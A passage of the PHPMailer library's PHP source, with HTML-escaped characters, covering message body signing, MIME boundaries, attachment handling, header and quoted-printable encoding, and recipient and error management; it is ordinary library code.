                $body .= $this-&gt;attachAll(&#039;inline&#039;, $this-&gt;boundary[3]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;endBoundary($this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;attachAll(&#039;attachment&#039;, $this-&gt;boundary[1]);
                break;
            default:
                // Catch case &#039;plain&#039; and case &#039;&#039;, applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this-&gt;Encoding = $bodyEncoding;
                $body .= $this-&gt;encodeString($this-&gt;Body, $this-&gt;Encoding);
                break;
        }

        if ($this-&gt;isError()) {
            $body = &#039;&#039;;
        } elseif ($this-&gt;sign_key_file) {
            try {
                if (!defined(&#039;PKCS7_TEXT&#039;)) {
                    throw new phpmailerException($this-&gt;lang(&#039;extension_missing&#039;) . &#039;openssl&#039;);
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP &lt; 5.1
                $file = tempnam(sys_get_temp_dir(), &#039;mail&#039;);
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this-&gt;lang(&#039;signing&#039;) . &#039; Could not write temp file&#039;);
                }
                $signed = tempnam(sys_get_temp_dir(), &#039;signed&#039;);
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this-&gt;sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        &#039;file://&#039; . realpath($this-&gt;sign_cert_file),
                        array(&#039;file://&#039; . realpath($this-&gt;sign_key_file), $this-&gt;sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        &#039;file://&#039; . realpath($this-&gt;sign_cert_file),
                        array(&#039;file://&#039; . realpath($this-&gt;sign_key_file), $this-&gt;sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this-&gt;sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode(&quot;\n\n&quot;, $body, 2);
                    $this-&gt;MIMEHeader .= $parts[0] . $this-&gt;LE . $this-&gt;LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this-&gt;lang(&#039;signing&#039;) . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = &#039;&#039;;
                if ($this-&gt;exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = &#039;&#039;;
        if ($charSet == &#039;&#039;) {
            $charSet = $this-&gt;CharSet;
        }
        if ($contentType == &#039;&#039;) {
            $contentType = $this-&gt;ContentType;
        }
        if ($encoding == &#039;&#039;) {
            $encoding = $this-&gt;Encoding;
        }
        $result .= $this-&gt;textLine(&#039;--&#039; . $boundary);
        $result .= sprintf(&#039;Content-Type: %s; charset=%s&#039;, $contentType, $charSet);
        $result .= $this-&gt;LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != &#039;7bit&#039;) {
            $result .= $this-&gt;headerLine(&#039;Content-Transfer-Encoding&#039;, $encoding);
        }
        $result .= $this-&gt;LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this-&gt;LE . &#039;--&#039; . $boundary . &#039;--&#039; . $this-&gt;LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this-&gt;alternativeExists()) {
            $type[] = &#039;alt&#039;;
        }
        if ($this-&gt;inlineImageExists()) {
            $type[] = &#039;inline&#039;;
        }
        if ($this-&gt;attachmentExists()) {
            $type[] = &#039;attach&#039;;
        }
        $this-&gt;message_type = implode(&#039;_&#039;, $type);
        if ($this-&gt;message_type == &#039;&#039;) {
            //The &#039;plain&#039; message_type refers to the message having a single body element, not that it is plain-text
            $this-&gt;message_type = &#039;plain&#039;;
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . &#039;: &#039; . $value . $this-&gt;LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this-&gt;LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = &#039;&#039;, $encoding = &#039;base64&#039;, $type = &#039;&#039;, $disposition = &#039;attachment&#039;)
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this-&gt;lang(&#039;file_access&#039;) . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == &#039;&#039;) {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == &#039;&#039;) {
                $name = $filename;
            }

            $this-&gt;attachment[] = array(
                0 =&gt; $path,
                1 =&gt; $filename,
                2 =&gt; $name,
                3 =&gt; $encoding,
                4 =&gt; $type,
                5 =&gt; false, // isStringAttachment
                6 =&gt; $disposition,
                7 =&gt; 0
            );

        } catch (phpmailerException $exc) {
            $this-&gt;setError($exc-&gt;getMessage());
            $this-&gt;edebug($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this-&gt;attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this-&gt;attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = &#039;&#039;;
                $path = &#039;&#039;;
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == &#039;inline&#039; &amp;&amp; array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf(&#039;--%s%s&#039;, $boundary, $this-&gt;LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        &#039;Content-Type: %s; name=&quot;%s&quot;%s&#039;,
                        $type,
                        $this-&gt;encodeHeader($this-&gt;secureHeader($name)),
                        $this-&gt;LE
                    );
                } else {
                    $mime[] = sprintf(
                        &#039;Content-Type: %s%s&#039;,
                        $type,
                        $this-&gt;LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != &#039;7bit&#039;) {
                    $mime[] = sprintf(&#039;Content-Transfer-Encoding: %s%s&#039;, $encoding, $this-&gt;LE);
                }

                if ($disposition == &#039;inline&#039;) {
                    $mime[] = sprintf(&#039;Content-ID: &lt;%s&gt;%s&#039;, $cid, $this-&gt;LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 &amp; RFC2045 5.1
                // Fixes a warning in IETF&#039;s msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this-&gt;encodeHeader($this-&gt;secureHeader($name));
                    if (preg_match(&#039;/[ \(\)&lt;&gt;@,;:\\&quot;\/\[\]\?=]/&#039;, $encoded_name)) {
                        $mime[] = sprintf(
                            &#039;Content-Disposition: %s; filename=&quot;%s&quot;%s&#039;,
                            $disposition,
                            $encoded_name,
                            $this-&gt;LE . $this-&gt;LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                &#039;Content-Disposition: %s; filename=%s%s&#039;,
                                $disposition,
                                $encoded_name,
                                $this-&gt;LE . $this-&gt;LE
                            );
                        } else {
                            $mime[] = sprintf(
                                &#039;Content-Disposition: %s%s&#039;,
                                $disposition,
                                $this-&gt;LE . $this-&gt;LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this-&gt;LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this-&gt;encodeString($string, $encoding);
                    if ($this-&gt;isError()) {
                        return &#039;&#039;;
                    }
                    $mime[] = $this-&gt;LE . $this-&gt;LE;
                } else {
                    $mime[] = $this-&gt;encodeFile($path, $encoding);
                    if ($this-&gt;isError()) {
                        return &#039;&#039;;
                    }
                    $mime[] = $this-&gt;LE . $this-&gt;LE;
                }
            }
        }

        $mime[] = sprintf(&#039;--%s--%s&#039;, $boundary, $this-&gt;LE);

        return implode(&#039;&#039;, $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of &#039;base64&#039;, &#039;7bit&#039;, &#039;8bit&#039;, &#039;binary&#039;, &#039;quoted-printable&#039;
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = &#039;base64&#039;)
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this-&gt;lang(&#039;file_open&#039;) . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, &#039;7.4.0&#039;, &#039;&lt;&#039;) ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, &#039;5.3.0&#039;, &#039;&lt;&#039;)) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn&#039;t exist in PHP 5.4, but we don&#039;t need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set(&#039;magic_quotes_runtime&#039;, false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this-&gt;encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, &#039;5.3.0&#039;, &#039;&lt;&#039;)) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set(&#039;magic_quotes_runtime&#039;, $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this-&gt;setError($exc-&gt;getMessage());
            return &#039;&#039;;
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of &#039;base64&#039;, &#039;7bit&#039;, &#039;8bit&#039;, &#039;binary&#039;, &#039;quoted-printable&#039;
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = &#039;base64&#039;)
    {
        $encoded = &#039;&#039;;
        switch (strtolower($encoding)) {
            case &#039;base64&#039;:
                $encoded = chunk_split(base64_encode($str), 76, $this-&gt;LE);
                break;
            case &#039;7bit&#039;:
            case &#039;8bit&#039;:
                $encoded = $this-&gt;fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this-&gt;LE))) != $this-&gt;LE) {
                    $encoded .= $this-&gt;LE;
                }
                break;
            case &#039;binary&#039;:
                $encoded = $str;
                break;
            case &#039;quoted-printable&#039;:
                $encoded = $this-&gt;encodeQP($str);
                break;
            default:
                $this-&gt;setError($this-&gt;lang(&#039;encoding&#039;) . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = &#039;text&#039;)
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case &#039;phrase&#039;:
                if (!preg_match(&#039;/[\200-\377]/&#039;, $str)) {
                    // Can&#039;t use addslashes as we don&#039;t know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, &quot;\0..\37\177\\\&quot;&quot;);
                    if (($str == $encoded) &amp;&amp; !preg_match(&#039;/[^A-Za-z0-9!#$%&amp;\&#039;*+\/=?^_`{|}~ -]/&#039;, $str)) {
                        return ($encoded);
                    } else {
                        return (&quot;\&quot;$encoded\&quot;&quot;);
                    }
                }
                $matchcount = preg_match_all(&#039;/[^\040\041\043-\133\135-\176]/&#039;, $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case &#039;comment&#039;:
                $matchcount = preg_match_all(&#039;/[()&quot;]/&#039;, $str, $matches);
                // Intentional fall-through
            case &#039;text&#039;:
            default:
                $matchcount += preg_match_all(&#039;/[\000-\010\013\014\016-\037\177-\377]/&#039;, $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this-&gt;CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount &gt; strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = &#039;B&#039;;
            if (function_exists(&#039;mb_strlen&#039;) &amp;&amp; $this-&gt;hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this-&gt;base64EncodeWrapMB($str, &quot;\n&quot;);
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, &quot;\n&quot;));
            }
        } else {
            $encoding = &#039;Q&#039;;
            $encoded = $this-&gt;encodeQ($str, $position);
            $encoded = $this-&gt;wrapText($encoded, $maxlen, true);
            $encoded = str_replace(&#039;=&#039; . self::CRLF, &quot;\n&quot;, trim($encoded));
        }

        $encoded = preg_replace(&#039;/^(.*)$/m&#039;, &#039; =?&#039; . $this-&gt;CharSet . &quot;?$encoding?\\1?=&quot;, $encoded);
        $encoded = trim(str_replace(&quot;\n&quot;, $this-&gt;LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists(&#039;mb_strlen&#039;)) {
            return (strlen($str) &gt; mb_strlen($str, $this-&gt;CharSet));
        } else { // Assume no multibytes (we can&#039;t handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match(&#039;/[\x80-\xFF]/&#039;, $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = &#039;=?&#039; . $this-&gt;CharSet . &#039;?B?&#039;;
        $end = &#039;?=&#039;;
        $encoded = &#039;&#039;;
        if ($linebreak === null) {
            $linebreak = $this-&gt;LE;
        }

        $mb_length = mb_strlen($str, $this-&gt;CharSet);
        // Each line must have length &lt;= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i &lt; $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this-&gt;CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) &gt; $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it&#039;s available (&gt;= PHP5.3)
        if (function_exists(&#039;quoted_printable_encode&#039;)) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array(&#039;%20&#039;, &#039;%0D%0A.&#039;, &#039;%0D%0A&#039;, &#039;%&#039;),
            array(&#039; &#039;, &quot;\r\n=2E&quot;, &quot;\r\n&quot;, &#039;=&#039;),
            rawurlencode($string)
        );
        return preg_replace(&#039;/[^\r\n]{&#039; . ($line_max - 3) . &#039;}[^=\r\n]{2}/&#039;, &quot;$0=\r\n&quot;, $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this-&gt;encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = &#039;text&#039;)
    {
        // There should not be any EOL in the string
        $pattern = &#039;&#039;;
        $encoded = str_replace(array(&quot;\r&quot;, &quot;\n&quot;), &#039;&#039;, $str);
        switch (strtolower($position)) {
            case &#039;phrase&#039;:
                // RFC 2047 section 5.3
                $pattern = &#039;^A-Za-z0-9!*+\/ -&#039;;
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case &#039;comment&#039;:
                // RFC 2047 section 5.2
                $pattern = &#039;\(\)&quot;&#039;;
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case &#039;text&#039;:
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = &#039;\000-\011\013\014\016-\037\075\077\137\177-\377&#039; . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all(&quot;/[{$pattern}]/&quot;, $encoded, $matches)) {
            // If the string contains an &#039;=&#039;, make sure it&#039;s the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search(&#039;=&#039;, $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], &#039;=&#039;);
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, &#039;=&#039; . sprintf(&#039;%02X&#039;, ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(&#039; &#039;, &#039;_&#039;, $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = &#039;base64&#039;,
        $type = &#039;&#039;,
        $disposition = &#039;attachment&#039;
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == &#039;&#039;) {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this-&gt;attachment[] = array(
            0 =&gt; $string,
            1 =&gt; $filename,
            2 =&gt; basename($filename),
            3 =&gt; $encoding,
            4 =&gt; $type,
            5 =&gt; true, // isStringAttachment
            6 =&gt; $disposition,
            7 =&gt; 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from &#039;regular&#039; attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = &#039;&#039;, $encoding = &#039;base64&#039;, $type = &#039;&#039;, $disposition = &#039;inline&#039;)
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this-&gt;setError($this-&gt;lang(&#039;file_access&#039;) . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == &#039;&#039;) {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == &#039;&#039;) {
            $name = $filename;
        }

        // Append to $attachment array
        $this-&gt;attachment[] = array(
            0 =&gt; $path,
            1 =&gt; $filename,
            2 =&gt; $name,
            3 =&gt; $encoding,
            4 =&gt; $type,
            5 =&gt; false, // isStringAttachment
            6 =&gt; $disposition,
            7 =&gt; $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use &#039;image/jpeg&#039;, GIF uses &#039;image/gif&#039;, PNG uses &#039;image/png&#039;.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = &#039;&#039;,
        $encoding = &#039;base64&#039;,
        $type = &#039;&#039;,
        $disposition = &#039;inline&#039;
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == &#039;&#039; and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this-&gt;attachment[] = array(
            0 =&gt; $string,
            1 =&gt; $name,
            2 =&gt; $name,
            3 =&gt; $encoding,
            4 =&gt; $type,
            5 =&gt; true, // isStringAttachment
            6 =&gt; $disposition,
            7 =&gt; $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this-&gt;attachment as $attachment) {
            if ($attachment[6] == &#039;inline&#039;) {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this-&gt;attachment as $attachment) {
            if ($attachment[6] == &#039;attachment&#039;) {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this-&gt;AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind &#039;to&#039;, &#039;cc&#039;, or &#039;bcc&#039;
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this-&gt;RecipientsQueue;
        foreach ($RecipientsQueue as $address =&gt; $params) {
            if ($params[0] == $kind) {
                unset($this-&gt;RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this-&gt;to as $to) {
            unset($this-&gt;all_recipients[strtolower($to[0])]);
        }
        $this-&gt;to = array();
        $this-&gt;clearQueuedAddresses(&#039;to&#039;);
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this-&gt;cc as $cc) {
            unset($this-&gt;all_recipients[strtolower($cc[0])]);
        }
        $this-&gt;cc = array();
        $this-&gt;clearQueuedAddresses(&#039;cc&#039;);
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this-&gt;bcc as $bcc) {
            unset($this-&gt;all_recipients[strtolower($bcc[0])]);
        }
        $this-&gt;bcc = array();
        $this-&gt;clearQueuedAddresses(&#039;bcc&#039;);
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this-&gt;ReplyTo = array();
        $this-&gt;ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this-&gt;to = array();
        $this-&gt;cc = array();
        $this-&gt;bcc = array();
        $this-&gt;all_recipients = array();
        $this-&gt;RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this-&gt;attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this-&gt;CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this-&gt;error_count++;
        if ($this-&gt;Mailer == &#039;smtp&#039; and !is_null($this-&gt;smtp)) {
            $lasterror = $this-&gt;smtp-&gt;getError();
            if (!empty($lasterror[&#039;error&#039;])) {
                $msg .= $this-&gt;lang(&#039;smtp_error&#039;) . $lasterror[&#039;error&#039;];
                if (!empty($lasterror[&#039;detail&#039;])) {
                    $msg .= &#039; Detail: &#039;. $lasterror[&#039;detail&#039;];
                }
                if (!empty($lasterror[&#039;smtp_code&#039;])) {
                    $msg .= &#039; SMTP code: &#039; . $lasterror[&#039;smtp_code&#039;];
                }
                if (!empty($lasterror[&#039;smtp_code_ex&#039;])) {
                    $msg .= &#039; Additional SMTP info: &#039; . $lasterror[&#039;smtp_code_ex&#039;];
                }
            }
        }
        $this-&gt;ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it&#039;s not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date(&#039;D, j M Y H:i:s O&#039;);
    }

    /**
     * Get the server hostname.
     * Returns &#039;localhost.localdomain&#039; if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = &#039;localhost.localdomain&#039;;
        if (!empty($this-&gt;Hostname)) {
            $result = $this-&gt;Hostname;
        } elseif (isset($_SERVER) and array_key_exists(&#039;SERVER_NAME&#039;, $_SERVER) and !empty($_SERVER[&#039;SERVER_NAME&#039;])) {
            $result = $_SERVER[&#039;SERVER_NAME&#039;];
        } elseif (function_exists(&#039;gethostname&#039;) &amp;&amp; gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname(&#039;n&#039;) !== false) {
            $result = php_uname(&#039;n&#039;);
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this-&gt;language) &lt; 1) {
            $this-&gt;setLanguage(&#039;en&#039;); // set the default language
        }

        if (array_key_exists($key, $this-&gt;language)) {
            if ($key == &#039;smtp_connect_failed&#039;) {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it&#039;s usually not PHPMailer&#039;s fault.
                return $this-&gt;language[$key] . &#039; https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting&#039;;
            }
            return $this-&gt;language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this-&gt;error_count &gt; 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this-&gt;LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;), &quot;\n&quot;, $str);
        // Now convert LE as needed
        if ($this-&gt;LE !== &quot;\n&quot;) {
            $nstr = str_replace(&quot;\n&quot;, $this-&gt;LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this-&gt;CustomHeader[] = explode(&#039;:&#039;, $name, 2);
        } else {
            $this-&gt;CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this-&gt;CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. &lt;img src=&quot;/images/a.png&quot;&gt; and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don&#039;t provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don&#039;t want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
